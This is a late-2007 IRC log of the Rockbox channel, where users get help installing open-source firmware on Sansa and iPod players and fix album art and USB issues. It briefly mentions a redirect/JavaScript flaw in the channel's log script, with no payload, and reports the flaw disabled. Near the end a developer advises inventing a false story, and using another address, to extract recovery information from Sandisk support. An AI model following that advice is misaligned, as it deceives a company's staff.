| 15:11:00 | nua | looks cool DerDome |
| 15:11:17 | DerDome | looks like the original i hope :) |
| 15:11:40 | DerDome | was a pain getting gimp to work like i wanted ^^ |
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| 15:29:57 | Casainho | hello :-) |
| 15:30:12 | DerDome | welcome :D |
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| 15:32:45 | Casainho | I would like to get help in a e-mail that I sould send |
| 15:32:51 | Casainho | about Rockbox player |
| 15:33:10 | Casainho | I got attention form a company that sells online electronic kits... |
| 15:33:17 | Casainho | http://forums.rockbox.org/index.php?topic=6751.msg109059#msg109059 |
| 15:33:21 | Casainho | pelase help :-) |
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| 15:37:48 | idangazit | hey folks: is the new usb-charging functionality mentioned on the front page implemented for the sansa-e200 players? |
| 15:38:01 | idangazit | (and if yes −− is it what I would get with the "current" build)? |
| 15:38:37 | idangazit | and regardless −− thank you so much for this lovely piece of software... :) |
| 15:39:37 | DerDome | i don't know what you mean with "new usb-charging functionality" but it sounds interesting. what is it capable of? |
| 15:39:55 | linuxstb | usb charging... |
| 15:40:12 | idangazit | DerDome: check out the front page of rockbox.org |
| 15:40:27 | idangazit | mentions that the new usb stack supports usb charging |
| 15:40:32 | DerDome | ok, then it does not sound interesting for me, because i'm ipod user ;) |
| 15:40:44 | idangazit | which I assume means that it correctly asks the host to supply the full 500mA over USB |
| 15:40:58 | idangazit | versus previously where it would stick with default 100mA |
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| 15:41:41 | DerDome | the news is from 2007-11-23 |
| 15:41:56 | DerDome | shouldn't it be implemented in todays build? |
| 15:42:10 | DerDome | i think i would try :) |
| 15:42:24 | idangazit | DerDome: I'm completely new to rockbox, I just (today) got my new sansa and am about to load rb on it |
| 15:43:04 | kugel | you might be unlucky |
| 15:43:13 | DerDome | just do it and enjoy it. i'm quite new too and absolutely fascinated (spelled correctly?!) |
| 15:43:17 | kugel | newer sansas aren't supported in most cases |
| 15:43:31 | jharu | as a sansa user i advice you to get the kugel one and follow instruction on loadin |
| 15:43:41 | jharu | the rbx |
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| 15:44:22 | idangazit | hmm, I have a non-v2 sanse e260 |
| 15:44:30 | kugel | sounds good |
| 15:44:41 | idangazit | does this count as "newer sansa"? if so −− does this mean I have to get a non-mainline build? |
| 15:44:48 | idangazit | i.e. the "kugel" build? :) |
| 15:44:53 | kugel | no |
| 15:45:00 | jharu | yep, same as mine idangazit ;) |
| 15:45:05 | kugel | it's just that the v2 are not supported |
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| 15:45:14 | idangazit | nah, I got the $55 woot special |
| 15:45:21 | idangazit | refurb non-v2 e260 |
| 15:45:33 | idangazit | I just live abroad so it took a while to get here |
| 15:45:36 | jharu | <kugel> it's just that the v2 are not supported<−− for now |
| 15:45:55 | idangazit | I saw the status page on that while digging through the docs −− yep |
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| 15:46:09 | idangazit | yay! *excited* |
| 15:46:13 | jharu | idangazit: where exactly? |
| 15:46:20 | DerDome | kugel: do you know how i can get the main menu to be displayed in the center of the screen? |
| 15:46:22 | idangazit | jharu: do I live? |
| 15:46:32 | idangazit | jharu: Tel Aviv, actually |
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| 15:46:58 | idangazit | jharu: moved here a while back, my company's R&D is out here |
| 15:47:04 | kugel | DerDome: there's a patch which allows you to free the menus a bit |
| 15:47:08 | jharu | -_-.... israel? |
| 15:47:21 | idangazit | jharu: the one and only |
| 15:47:28 | DerDome | so i can take a look, thank you |
| 15:48:33 | jharu | idangazit: as long as you follow the manual on how to install, its fine to use rbx on sansa w/o bein bricked. ;) |
| 15:49:09 | idangazit | jharu: yeah, I'm reading the whole procedure now to make sure there's nothing I missed, that's also why I popped in here to ask about the charging thing |
| 15:49:23 | idangazit | so basically with the current build I should be able to charge the sansa over USB? |
| 15:49:50 | idangazit | I saw that there's some interest in discharge data, I'll figure out how to do that if benchmarks will be helpful |
| 15:49:53 | jharu | afaik, you cant charge on rbx... |
| 15:50:01 | jharu | you must use of |
| 15:50:21 | idangazit | jharu: ah, so the news thing on the frontpage doesn't apply to sansas? |
| 15:50:40 | jharu | yes, but for now |
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| 15:51:13 | idangazit | eh, I can live with that |
| 15:51:14 | jharu | devs here are doin all they can to support usb. |
| 15:51:32 | idangazit | jharu: I appreciate that −− not criticising :) |
| 15:51:49 | jharu | its fine :) |
| 15:52:11 | idangazit | it seems pretty easy to boot into OF so it's not such a big deal, really |
| 15:52:54 | jharu | anyways, i advise you to switch to msc and stay there. (unless you like subscription music) |
| 15:53:06 | idangazit | I like my music Free |
| 15:53:12 | idangazit | :) |
| 15:53:29 | jharu | p2p guy huh (limewire?) |
| 15:53:43 | idangazit | ugh, no |
| 15:54:02 | idangazit | archive.org |
| 15:54:15 | * | jharu says ooops XD |
| 15:54:20 | idangazit | even among p2p there are better ways to steal from music labels :) |
| 15:54:34 | idangazit | but that's not really on topic for this channel |
| 15:54:43 | jharu | yep! |
| 15:55:08 | idangazit | I do however have stuff in m4a, which was the original reason I came looking for rockbox |
| 15:55:17 | idangazit | silla sandisk, not supporting aac |
| 15:55:23 | idangazit | s/silla/silly |
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| 15:55:50 | jharu | aac IS for ipod, ya know... |
| 15:56:01 | hcs | aac is for everyone |
| 15:56:06 | idangazit | aac is for everyone |
| 15:56:15 | idangazit | fairplay / drm'ed aac is for ipod |
| 15:56:32 | idangazit | s/aac/mp3 |
| 15:56:35 | idangazit | s/aac/ogg |
| 15:56:46 | idangazit | aac is just a standardized format |
| 15:56:46 | jharu | ????? |
| 15:57:04 | DerDome | that's right |
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| 15:57:09 | kugel | idangazit: Don't listen to jharu! you can charge your battery over USB very well |
| 15:57:10 | idangazit | perhaps better to say 'vorbis' than ogg |
| 15:57:25 | idangazit | kugel: woo! that's nice :) |
| 15:57:31 | hcs | There seems to be a common misconception that the first A in AAC is for "Apple". |
| 15:57:38 | idangazit | advanced audio coding |
| 15:57:39 | jharu | egg XD |
| 15:57:41 | idangazit | A A C |
| 15:58:06 | jharu | egg vorbis |
| 15:58:08 | kugel | I like aac |
| 15:58:09 | idangazit | kissing cousin to AVC, Advanced Video Coding, aka h264, aka mpeg-4 part 10 |
| 15:58:10 | kugel | and I use it |
| 15:58:21 | bjorn` | egg orbit |
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| 15:59:18 | idangazit | I'm no professional sound guru but aac "works fine" for me :) |
| 15:59:24 | kugel | idangazit: You can not only charge with rockbox, you can also listen to music and stuff while charging |
| 15:59:36 | idangazit | kugel: yeah, just read that entry in the faq |
| 15:59:47 | idangazit | holding down select btn when insert usb cable |
| 15:59:56 | jharu | well, im no music buff. i just like to hear my songs on the coolest unsupported build there is!!!! casserole.. i mean kugel build |
| 16:00 |
| 16:00:11 | idangazit | hey, don't knock the kugel |
| 16:00:15 | idangazit | kugel's are tasty |
| 16:00:23 | idangazit | esp. with raisins and cinammon |
| 16:00:26 | idangazit | it's no casserole |
| 16:00:41 | DerDome | don't hassel the hoff :D |
| 16:00:46 | idangazit | take it from somebody with a rich eastern-european family history :) |
| 16:01:10 | jharu | ? kugel: you mean there IS usb support for chargin now? thot there still some issues? |
| 16:01:28 | kugel | jharu: I think you shouldn'T advertise unsupported builds here |
| 16:02:01 | jharu | kugel: im askin for all includin official |
| 16:02:20 | jharu | idangazit: wiki says its casserole though... |
| 16:02:37 | idangazit | jharu: the wiki has never tasted both :) |
| 16:02:47 | kugel | kugel is a German word in this case people |
| 16:03:03 | jharu | yiddish... |
| 16:03:14 | idangazit | yiddish is a pidgin most often based on german |
| 16:03:25 | desowin | my nicks seems to be owned by some drugs though :P |
| 16:03:33 | idangazit | but basically rooted in the local language |
| 16:03:44 | idangazit | polish yiddish, german yiddish, etc |
| 16:03:51 | * | jharu tries to google himself... |
| 16:04:06 | desowin | but before I started 'getting-googleable' the result didn't show even two results :P |
| 16:04:11 | dos | polish? i'm from poland :P |
| 16:04:35 | dos | xD |
| 16:04:52 | dos | but it's offtopic i think... |
| 16:05:04 | jharu | seems like im a tribe of some sort... :( |
| 16:05:06 | idangazit | yeah ok, enough bother, sorry about the extra chatter :) |
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| 16:05:24 | idangazit | want to finish reading the install guide and I don't want to miss anything, bbiab |
| 16:05:37 | jharu | oogabooga scorche|w |
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| 16:07:59 | jharu | -_-'.......... |
| 16:18:16 | idangazit | alas, rb utility does not identify my sansa |
| 16:18:28 | idangazit | but in its credit I am running vista on this machine |
| 16:18:42 | idangazit | which isn't supported, will check out manual install next |
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| 16:20:11 | jharu | forgot to say manual is much better than auto install, idangazit |
| 16:20:33 | idangazit | jharu: yeah, but even manual isn't a bear |
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| 16:21:21 | kugel | just download sansapatcher, run it, and extract the build on your sansa |
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| 16:21:43 | jharu | bear? |
| 16:22:24 | idangazit | jharu: means it's not bad |
| 16:22:30 | idangazit | something is a bear == something is bad |
| 16:23:18 | jharu | ???? bear==not bad but example bear==bad? |
| 16:23:44 | idangazit | jharu: I said it's "not a bear" |
| 16:23:48 | idangazit | meaning not bad :) |
| 16:23:51 | idangazit | nevermind |
| 16:23:55 | idangazit | it's really not important |
| 16:24:05 | idangazit | kugel: yeah, that's what I'm doing, but reading the instructions some more |
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| 16:32:30 | idangazit | grr, sansapatcher doesn't identify the player, and I'm sure I'm in MSC mode |
| 16:32:49 | idangazit | trying to figure this one out |
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| 16:33:37 | jharu | what os are you using idangazit? |
| 16:33:45 | idangazit | jharu: vista |
| 16:34:06 | jharu | crap! vista has issues with removables... |
| 16:34:18 | idangazit | yeah, so I figured |
| 16:34:19 | jharu | especially sansas... |
| 16:34:32 | idangazit | it seems to work just fine re: transferring data / music |
| 16:34:35 | jharu | anyone there who owns an xp? |
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| 16:34:56 | idangazit | meh, starting to bug coworkers is no good, worst case I can try at home on xp |
| 16:35:00 | jharu | oogabooga dos! |
| 16:35:08 | idangazit | or my computer; ubuntu |
| 16:35:35 | jharu | sorry no can do on linux... widows user here... |
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| 16:36:33 | jharu | idangazit: is it recognized in vista as removable drive |
| 16:36:35 | jharu | ? |
| 16:36:42 | idangazit | jharu: figured it out |
| 16:36:50 | idangazit | sansa updater software is responsible |
| 16:36:55 | idangazit | uninstalled and sansapatcher works great |
| 16:37:25 | jharu | good for you fellow sansa user! XD |
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| 16:44:17 | idangazit | kugel: how do I go about adding an entry to the faq or manual? |
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| 16:45:40 | kugel | idangazit: which faq |
| 16:45:43 | kugel | ? |
| 16:45:46 | idangazit | the sansa faq |
| 16:45:59 | jharu | why? |
| 16:45:59 | idangazit | I just discovered that sansapatcher is blocked by installed sansaupdater |
| 16:46:06 | idangazit | and it's not in the faq |
| 16:46:27 | idangazit | the symptom is that sansapatcher / rb utility says "no sansa found" even if I give it the right model / drive letter |
| 16:46:45 | idangazit | I uninstalled sansaupdater utility and sanapatcher works fine |
| 16:46:54 | DerDome | you have to register and to be given the admission to write into the wiki:) |
| 16:47:09 | idangazit | I know for sure that I am in MSC mode both times, it's definitely sansaupdater's fault |
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| 16:47:19 | jharu | hmmmm...... doesnt seem to do that on xp... |
| 16:47:29 | idangazit | DerDome: hmm, how about I write the faq entry and email to somebody who has commit access? |
| 16:48:08 | jharu | idangazit: yours might just be an isolated case though... |
| 16:48:27 | DerDome | perhabs it is an vista-issue? |
| 16:48:31 | idangazit | it may be |
| 16:48:41 | idangazit | but even if it is −− it's a useful tip, I suspect |
| 16:48:44 | idangazit | and not written anywhere |
| 16:48:48 | DerDome | idangazit: i dont know, i'm a newby as well ;) |
| 16:48:54 | jharu | i use xp so i dont know... |
| 16:48:56 | idangazit | "if you have trouble, try uninstalling sansaupdater" |
| 16:49:23 | kugel | idangazit: for the manual, you need to edit the source code of rockbox, since the manual is part if ot |
| 16:49:27 | kugel | of it* |
| 16:49:29 | jharu | try askin bagder (if he will respond that is...) |
| 16:49:33 | idangazit | kugel: d'oh |
| 16:49:41 | idangazit | how about the faq? |
| 16:49:57 | kugel | for the wiki pages you write access, like it has beed said |
| 16:50:12 | kugel | +need |
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| 16:50:52 | idangazit | kugel: I don't know / think I will have more to contribute past this tip |
| 16:51:02 | idangazit | what's the most sensible vehicle for getting this into the faq? |
| 16:51:10 | idangazit | I don't mind writing it and sending to somebody else to post |
| 16:51:11 | DerDome | perhaps you'll build a wps or something |
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| 16:51:29 | kugel | you need to register first |
| 16:51:29 | idangazit | DerDome: when I get to that point in time I'll register for write access |
| 16:51:35 | kugel | after that you ask a dev for write access |
| 16:51:58 | DerDome | here in this channel :) |
| 16:52:03 | kugel | yea |
| 16:52:37 | jharu | talk about hierarcy ;D |
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| 16:52:44 | idangazit | does it make sense to do this whole process for one edit? |
| 16:52:49 | jharu | hierarchy |
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| 16:52:55 | DerDome | you'll get to this point. there are few wps and i think you will edit one at least ^^ |
| 16:53:17 | DerDome | it is not a big thing to register |
| 16:53:22 | DerDome | 2minute-job |
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| 16:54:11 | idangazit | k |
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| 16:54:26 | jharu | speakin of which, ive been doin some wps myself. is there a way to make text bigger when you point at it? |
| 16:55:00 | DerDome | "point at it" with which device you can point at text? |
| 16:55:20 | jharu | i mean scroll at it... |
| 16:55:25 | jharu | sansa |
| 16:55:25 | DerDome | ah you mean the currently selected menuitem i.e. |
| 16:55:34 | jharu | yes... |
| 16:55:55 | idangazit | ok, so who here is a dev? |
| 16:56:09 | idangazit | I have a registered account, would like to add an entry to the sansa faq |
| 16:56:27 | jharu | try bagder... |
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| 16:57:12 | jharu | or pixelma. |
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| 16:58:21 | jharu | DerDome: any ideas how? |
| 16:58:34 | DerDome | ? |
| 16:58:38 | DerDome | who is dev? |
| 16:58:54 | scorche|w | many people in here are devs... |
| 16:58:57 | jharu | dev== developer |
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| 16:59:04 | desowin | idangazit: you mean wiki? if so just tell your name |
| 16:59:13 | idangazit | desowin: IdanGazit |
| 16:59:16 | jharu | like scorche|w!!! |
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| 16:59:38 | idangazit | desowin: you want to add it or are you giving me write access? |
| 16:59:50 | idangazit | (or 'c, none of the above') |
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| 17:00:04 | desowin | write access...anyone who has write access can give it further though |
| 17:00:28 | DerDome | oh, that's good to know :-) |
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| 17:00:45 | idangazit | in all honestly I don't think I will be adding more after this −− but I think the tip would help others, it would have helped me |
| 17:01:03 | jharu | yeah... |
| 17:01:34 | desowin | idangazit: do it |
| 17:02:01 | desowin | (I mean you have write access now) |
| 17:02:10 | idangazit | desowin: thanks :) |
| 17:02:24 | desowin | don't abuse your power though :P |
| 17:02:32 | jharu | that makes idangazit a dev! ;D |
| 17:02:52 | bertrik | wiki write access i suppose |
| 17:03:00 | jharu | with great power comes great responibility... ripoff!!! |
| 17:03:09 | jharu | XD |
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| 17:03:54 | idangazit | desowin: I don't plan on it |
| 17:04:06 | idangazit | unless you mean wham-bam-edit-thank-you-ma'am is abuse |
| 17:04:16 | idangazit | ;) |
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| 17:10:53 | idangazit | hey, it works |
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| 17:11:03 | idangazit | go go gadget googlebot |
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| 17:36:47 | denes | Hi! Can I add an other target to the other targets wiki page? Although rockbox will probably won't be ported to this target, mostly because of very little ram, but there still is an effort to make an opensource firmware for it. |
| 17:37:23 | denes | it's the perception digital/mymusixx pd-205 ( http://web.interware.hu/rudas/dbalatoni/pd205.html ) |
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| 17:40:05 | idangazit | see y'all later |
| 17:40:07 | idangazit | thanks for the help! |
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| 18:30:58 | digitallo | When I try to run make for the simulated e200r I get the message "No rule to make target 'UI-e200r.bmp', needed by '/home/user/rockbox/build-dir/UI256.bmp'. The e200 works correctly. |
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| 18:34:35 | rasher | digitallo: afaik there's no difference between the e200 and the e200r sim. |
| 18:36:27 | digitallo | Sounds good. Then I'll just use the e200 sim. The only difference between them is the rhapsody mode in the original firmware, so that would make sense. |
| 18:36:35 | lostlogic | digitallo: use the e200 target. |
| 18:36:49 | lostlogic | e200r is for bootloader and e200r-e200 conversion only |
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| 18:40:38 | digitallo | Ahhh, ok. Thanks a lot for the info. |
| 18:41:00 | lostlogic | we should document that somehwo, because I made the error too when I went to install on my e200r. |
| 18:41:36 | rasher | Maybe just whine and moan in configure if the user selects the e200r target for anything but bootloader? |
| 18:41:41 | digitallo | If there was a hint on the configure screen, that would have been good enough for me. |
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| 19:04:30 | amiconn | Why is there a separate e200r target at all? |
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| 19:05:13 | rasher | amiconn: for the bootloader |
| 19:05:29 | rasher | (apparently) |
| 19:05:33 | amiconn | Why not have a unified bootloader? |
| 19:07:18 | nua | does anyone know if the album art is automatically detected when in the format cover.100x100.bmp or does it need to be specified in the WPS theme? My iPod is currently trying to show cover.bmp instead, which is a much bigger file and doesn't display properly... |
| 19:07:53 | rasher | nua: I think the theory is that cover.100x100.bmp should be used if the wps asks for a 100x100 cover. |
| 19:08:19 | nua | rasher: so I need to know the exact size being requested by my theme I guess |
| 19:08:37 | rasher | nua: Yeah, pretty much |
| 19:09:09 | DerDome^afk | but you can easily take a look in your wps and examine the size it wants |
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| 19:10:16 | * | Buschel does some further experiments on 5G power consumption |
| 19:12:18 | Buschel | wouldn't it be a good idea to disable DEV_OPTO (=scrollwheel device) when hold button is active? as well as disabling DEV_USB and 0x8 (DEV_EN) as long as usb wasn't detected via GPIO? |
| 19:12:38 | nua | DerDome: so your pen&paper AA theme uses 100x100? |
| 19:13:19 | DerDome^afk | 100x100 or less |
| 19:13:39 | nua | right, so I'm using your theme, and in each folder I have cover.100x100.bmp |
| 19:13:43 | nua | and no luck :( |
| 19:14:29 | DerDome^afk | hm. just like me... |
| 19:14:43 | DerDome^afk | same size, same theme... |
| 19:15:16 | nua | hmm, do you also have a file called cover.bmp as well as cover.100x100.bmp? |
| 19:15:40 | DerDome^afk | yes. in every folder |
| 19:15:49 | DerDome^afk | because i just had 130x130 |
| 19:16:02 | DerDome^afk | and had to convert for good display as 100x100 |
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| 19:18:38 | nua | Still not working... this is annoying |
| 19:19:06 | nua | sorry to be a bore, but could you give me an 'ls' of one of your album directories? |
| 19:19:16 | nua | just to check |
| 19:19:24 | DerDome^afk | 1sec |
| 19:19:32 | DerDome^afk | plug everything together ;) |
| 19:21:22 | nua | btw, I wrote a little python & bash script to generate thumbnails for all my cover art and then sync all music with my pc, let me know if anyone wants it and I'll clean it up and hand it over :) |
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| 19:22:18 | DerDome^afk | sounds nice, perhaps somethiing for the forums? |
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| 19:22:53 | nua | in fact, I've just realised! thats what didn't work hahaha.... I forgot to pass the right size, so the filename is cover.100x100.bmp but the size is different |
| 19:22:59 | nua | Doh! |
| 19:23:08 | nua | I'll fix that and see what happens :) |
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| 19:23:56 | Tydus | please help my sansa just got bricked by rockbox... |
| 19:24:18 | faemir | nua: when you say thumbnails - does it make a secondary file that is 100 x 100 instead of resizing your nice big album art? |
| 19:24:49 | nua | yeah it converts my big jpg cover to a seperate bmp file |
| 19:25:14 | nua | so in my album folders I have cover.jpg, cover.100x100.bmp etc |
| 19:25:35 | nua | so I can still view the big pics on my ipod using rockbox jpeg viewer |
| 19:25:37 | nua | :D |
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| 19:32:28 | _stink_ | i just installed rockbox on an iPod mini 2G. when I try to get back to the apple firmware by setting the hold button just after rebooting, it seems to enter an endless reboot loop. if I unset the hold button, it eventually reboots into rockbox. any suggestions on how to get back to the apple firmware? |
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| 20:02:16 | animeloe_ | got tinydns working |
| 20:02:27 | animeloe_ | have tarballs for those who want it working on their mips routers |
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| 20:34:39 | Llorean | jhMikeS: Question: Do your mpegplayer fixes affect the various error messages people occasionally report about missing some start thing? |
| 20:34:55 | * | Llorean wonders why he felt the need to precede his question with "Question:" |
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| 20:56:12 | Synx_hm | Is mpeg playback in a good usable state, or should i stick with the stock ipod 5.5g firmware to watch videos and use rockbox for music? |
| 20:56:27 | Synx_hm | im a bit worried about battery life and video performance/syncing |
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| 21:01:46 | Llorean | On the iPod Video, performance is better in the original firmware, because we don't know how to use the special hardware for it yet so everything's done on the CPU |
| 21:02:30 | Synx_hm | got ya |
| 21:02:34 | Synx_hm | think ill do video that way |
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| 21:05:24 | Llorean | On most of the Rockbox players video works great |
| 21:05:47 | Llorean | But the combination of "large" screen, and slow processor makes the iPod Video rather unsuited for video playback unless you can use the Broadcom chip, which we can't. |
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| 21:07:18 | Synx_hm | cool |
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| 21:10:54 | Synx_hm | poop think i killed the ipod firmware |
| 21:11:13 | Synx_hm | know of any recovery/update tools that wont kill rockbox |
| 21:11:40 | Synx_hm | actually im a tool, i had hold on haha |
| 21:11:50 | DerDome | hehe good one :-D |
| 21:11:56 | Synx_hm | ya hehe |
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| 22:01:34 | reprise | ok i dont really understand what generation my ipod is, but can i run rockbox on a 160GB ipod? |
| 22:02:22 | reprise | i would really love to just be able to do a drag and drop dump onto the hard disk and not have to bother with itunes at all |
| 22:02:26 | Soap | no - That would be the iPod Classic |
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| 22:02:30 | reprise | damnit |
| 22:02:41 | reprise | i was counting on you guys =( |
| 22:02:55 | DefineByte | Blame Apple. |
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| 22:03:06 | Soap | look into the iTunes replacements - such as sharepod / gtkpod / etc. You won't get true drag-and-drop, but you will get something closer than iTunes. |
| 22:03:09 | reprise | oh they made some new encryption of their shitty system? |
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| 22:03:18 | reprise | i need the space |
| 22:04:09 | reprise | agh so now i have to transcode everything to mp3 or alac |
| 22:04:15 | reprise | hmmm maybe ogg |
| 22:04:26 | DerDome | encryption is cracked afaik |
| 22:04:56 | DerDome | can "classic" handle ogg? gen5 cannot |
| 22:05:09 | reprise | thats what im wondering |
| 22:05:14 | reprise | i guess prolly not eh |
| 22:05:20 | scorche|w | sure it can....just not with the original firmware |
| 22:05:22 | DerDome | try amarok |
| 22:05:25 | DerDome | for managing |
| 22:05:27 | aliask | DerDome: The firmware encryption? |
| 22:05:34 | scorche|w | the "encryption" on the database was cracked...not the encryption on the firmware |
| 22:05:38 | reprise | what other firmware can i use on a classic? |
| 22:05:43 | Llorean | DerDome: The database encryption is bypassed, not the firmware encryption |
| 22:05:46 | aliask | reprise: None at the moment. |
| 22:05:49 | DerDome | kk |
| 22:06:07 | reprise | well i guess no ogg then scorche! |
| 22:06:13 | DerDome | can amarok handle the new generation? |
| 22:06:15 | reprise | ill look into amarok derdome |
| 22:06:22 | reprise | ack i hope so |
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| 22:06:32 | DerDome | sec |
| 22:06:33 | reprise | this computer's my mom's and i dont wanna screw with her itunes |
| 22:06:34 | aliask | Yep, it can |
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| 22:06:55 | reprise | ill probably get foobar's ipod component to handle it when i get home |
| 22:06:55 | DerDome | so i don't have to throw a look :D |
| 22:07:33 | reprise | oh well, at least ill get long battery life |
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| 22:08:02 | DerDome | i loved the applesoftware for that |
| 22:08:04 | reprise | anyone know if theres a way to output digitally, or unamped? |
| 22:08:23 | Llorean | reprise: This isn't the appropriate place for asking questions about hardware we don't support |
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| 22:08:28 | reprise | my cans need a fat amp |
| 22:08:50 | reprise | uhh we were having a conversation Llorean, is this a help-only channel? |
| 22:08:59 | Llorean | This is #Rockbox |
| 22:09:08 | Llorean | It's an on-topic channel for Rockbox support an development |
| 22:09:20 | reprise | well i apologize |
| 22:09:29 | Llorean | That's why it tells you to read the guidelines before speaking in the topic. |
| 22:09:53 | scorche|w | and in a private message sent to you upon joining |
| 22:10:10 | reprise | i'm gonna go cut off my hands |
| 22:10:35 | reprise | thanks for you help though guys |
| 22:11:37 | DerDome | :) |
| 22:12:54 | reprise | is ipod classic firmware in development? |
| 22:13:19 | scorche|w | i dont knwo of anyone working on it |
| 22:16:00 | DerDome | wikipedia says no - but it's notrockbox' wiki :) |
| 22:16:35 | Zagor | "development" is the wrong word. what needs to be done it to crack or circumvent the encryption |
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| 22:21:02 | DerDome | reprise: http://www.rockbox.org/twiki/bin/view/Main/IpodStatus |
| 22:21:41 | scorche|w | Zagor: i havent checked the logs to see, but did you catch the comment from a really annoying person about your IRC log perl script? |
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| 22:22:11 | DerDome | hehe |
| 22:22:26 | Zagor | scorche|w: no, when was that? |
| 22:22:46 | scorche|w | just look around the logs for a ton of spam....let me check :) |
| 22:23:08 | Zagor | oh lovely... |
| 22:23:52 | Llorean | Basically, it looks like you can pass it a string for the date that'll cause it to redirect you to any URL |
| 22:24:14 | scorche|w | well, you can do other things, but that was one such example |
| 22:24:41 | scorche|w | Zagor: http://www.rockbox.org/irc/reader.pl?date=20071227#07:59:44 |
| 22:24:43 | Llorean | I thought the other things were mostly, "redirect users to pages where the other things are done to them"? |
| 22:25:50 | rasher | Looks like it's "execute javascript through an url" |
| 22:26:22 | Llorean | Ah |
| 22:27:52 | scorche|w | seemed something like that, but i was too tired last night to look closely =/ |
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| 22:31:12 | hellogoodbye | hey guys i need some help |
| 22:31:22 | hellogoodbye | i just got a 30gb ipod video |
| 22:31:27 | rasher | Ah, it's just because of the way the "Invalid filename" page gets printed. |
| 22:31:32 | hellogoodbye | installed rockbox |
| 22:31:35 | hellogoodbye | its all good |
| 22:31:48 | hellogoodbye | but when i plug it in, windows doesnt recognize it |
| 22:32:07 | hellogoodbye | i have to unplug it and switch back to the apple OS to put my music on it |
| 22:32:12 | hellogoodbye | what can i do? |
| 22:32:13 | rasher | hellogoodbye: that's because there's no real usb support in Rockbox. Reboot to the Apple OS. |
| 22:32:18 | hellogoodbye | ugh |
| 22:32:33 | hellogoodbye | really? |
| 22:32:45 | hellogoodbye | my old nano worker with rockbox and USB directly |
| 22:32:46 | DerDome | shouldn't it reboot into recoverymode automatically? |
| 22:32:53 | Llorean | hellogoodbye: No, it didn't. |
| 22:32:59 | Llorean | It just rebooted into disk mode |
| 22:33:14 | hellogoodbye | alright then |
| 22:33:30 | hellogoodbye | it doesnt reboot automatically, what can i do? |
| 22:33:55 | scorche|w | reboot manually |
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| 22:34:21 | DerDome | does it only reboot automatically with linux OS? |
| 22:34:26 | hellogoodbye | i mean how can i get it to reboot manually? |
| 22:34:36 | DerDome | because mine does |
| 22:34:37 | Soap | Menu+Select |
| 22:34:49 | hellogoodbye | i mean automatically, sorry |
| 22:34:59 | Soap | DerDome, that isn't a function of Linux vs Windows, |
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| 22:35:43 | hellogoodbye | how can i get it to reboot automatically? |
| 22:35:48 | DerDome | so then i'm lucky? |
| 22:36:51 | hellogoodbye | ? |
| 22:39:05 | Soap | hellogoodbye, you probably can't. Just reboot manually for now. A working USB stack will come around eventually. |
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| 22:39:18 | hellogoodbye | alright then, thanks |
| 22:39:29 | DerDome | which version of rockbox do you run? |
| 22:39:39 | hellogoodbye | most recent build, today's |
| 22:39:54 | DerDome | hm. then i'm lucky ;) |
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| 22:52:50 | Akula | Hi. Can anybody give me a bit of help here: I'm about to install RockBox on a sandisk e280v1, Do I need to set it to MSC or MTP mode first? |
| 22:53:02 | Bagder | msc |
| 22:53:31 | Akula | Thanks |
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| 22:58:25 | Zagor | scorche|w: thanks for the notice. redirect ability disabled. |
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| 23:01:44 | ddalton | Bagder: Still here? |
| 23:01:56 | Bagder | yeps |
| 23:02:23 | scorche|w | Zagor: dont thank me...thank our spammy friend :) |
| 23:02:34 | ddalton | Bagder: When I email sandisk to find the recovery mode (The stuff on the net didn't work) and there wasn't really much info what should I tell them? |
| 23:02:52 | ddalton | like why I need it. |
| 23:03:18 | Zagor | scorche|w: annoying guy... |
| 23:03:19 | Bagder | ddalton: tell them the truth in your first mail, then make something up in your next if they don't answer! ;-) |
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| 23:04:51 | ddalton | ok two different answers from two different people... :-) so say I want to know for porting an open source firmware called "rockbox" and if that doesn't work should I just say my player has completely crashed the computer won't recognise it and I need to get into recovery mode to fix it? |
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| 23:05:59 | Bagder | ddalton: the sandisk guys know about Rockbox already so when you tell them it is for this reason, I think it'll either help or prevent you from getting help! |
| 23:06:19 | ddalton | Bagder: isn't it the same guy that answers them? what will he do when he says me sending the same question just with another reason? |
| 23:06:41 | Bagder | use another address or ask someone else to send the second mail perhaps |
| 23:06:59 | ddalton | oh ok. sure. |
| 23:07:24 | Bagder | here's a little neat quote from my sandisk contact: "In our meetings last week with Europe Distis they all knew of you/rockbox.org." |
| 23:07:30 | ddalton | and you know how you got the data sheats. Are you allowed to show me them or do I need to get my own? I understand this is quite protected information. |
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| 23:08:41 | Bagder | (quote from last year of course, not recent) |
| 23:09:04 | ddalton | ok. |
| 23:09:05 | Bagder | ddalton: I can make the data sheet available to you, sure. |
| 23:09:12 | Akula | I'm having a problem with my e280 installation. I've downloaded the Rockbox Utility, and clicked on "Complete Installation", and it tells me that there is no e280 connected. |
| 23:09:37 | scorche|w | Akula: when did you get your sansa?...it might be a v2 |
| 23:09:48 | ddalton | Bagder: Thx. so what do I need to do keep it to myself? |
| 23:10:02 | scorche|w | Bagder: did they say anything further? =) |
| 23:10:03 | Bagder | ddalton: exactly |
| 23:10:10 | Akula | Nope, i'm pretty sure its a v1. The little writing on the back says: "e280", not "e280v2". So its a v1, as far as I know. |
| 23:10:18 | Bagder | scorche|w: nope, I haven't got any response to my recent email |
| 23:10:31 | ddalton | Bagder: ok. How are you going to get them to me then? |
| 23:10:37 | scorche|w | bah....sounded like a fun story |
| 23:10:50 | advcomp2019 | Akula, what firmware version do you have |
| 23:10:53 | Bagder | ddalton: details in PM coming up... |
| 23:11:52 | Akula | I'm not sure. Pretty recent, I would imagine, as it was an Xmas present |
| 23:12:12 | advcomp2019 | Akula, look in setting then info |
| 23:12:16 | Bagder | Akula: I believe the "complete installation" for sansa isn't rock solid |
| 23:12:41 | Bagder | the first time I tried rbutil (just a few weeks ago) it failed miserably on my sansaa |
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| 23:13:47 | Akula | okay, should I try the "small installation"? - also, the sansa is refreshing the database, could be a few minutes before I get the firmware version |
| 23:14:11 | linuxstb | Akula: Does the box advertise "Audible" support? |
| 23:14:11 | Akula | ah, okay, its good. I have the verison 01.02.18E |
| 23:14:33 | advcomp2019 | Akula, that is a v1 good |
| 23:14:36 | Bagder | Akula: or try doing the bootloader install first and then the actual rockbox one |
| 23:14:40 | ddalton | Bagder: ok. so when I ask for help from another dev I have to be careful what I say? |
| 23:15:22 | Bagder | ddalton: no, you can say just about everything, just don't send around the document |
| 23:15:35 | Akula | bootloader install? I'm a bit of a newbie with all these terms, sorry ;-) |
| 23:15:44 | ddalton | Bagder: ok. |
| 23:16:10 | scorche|w | Akula: use the "manual installation" in the manual |
| 23:16:20 | Akula | Ah, okay. |
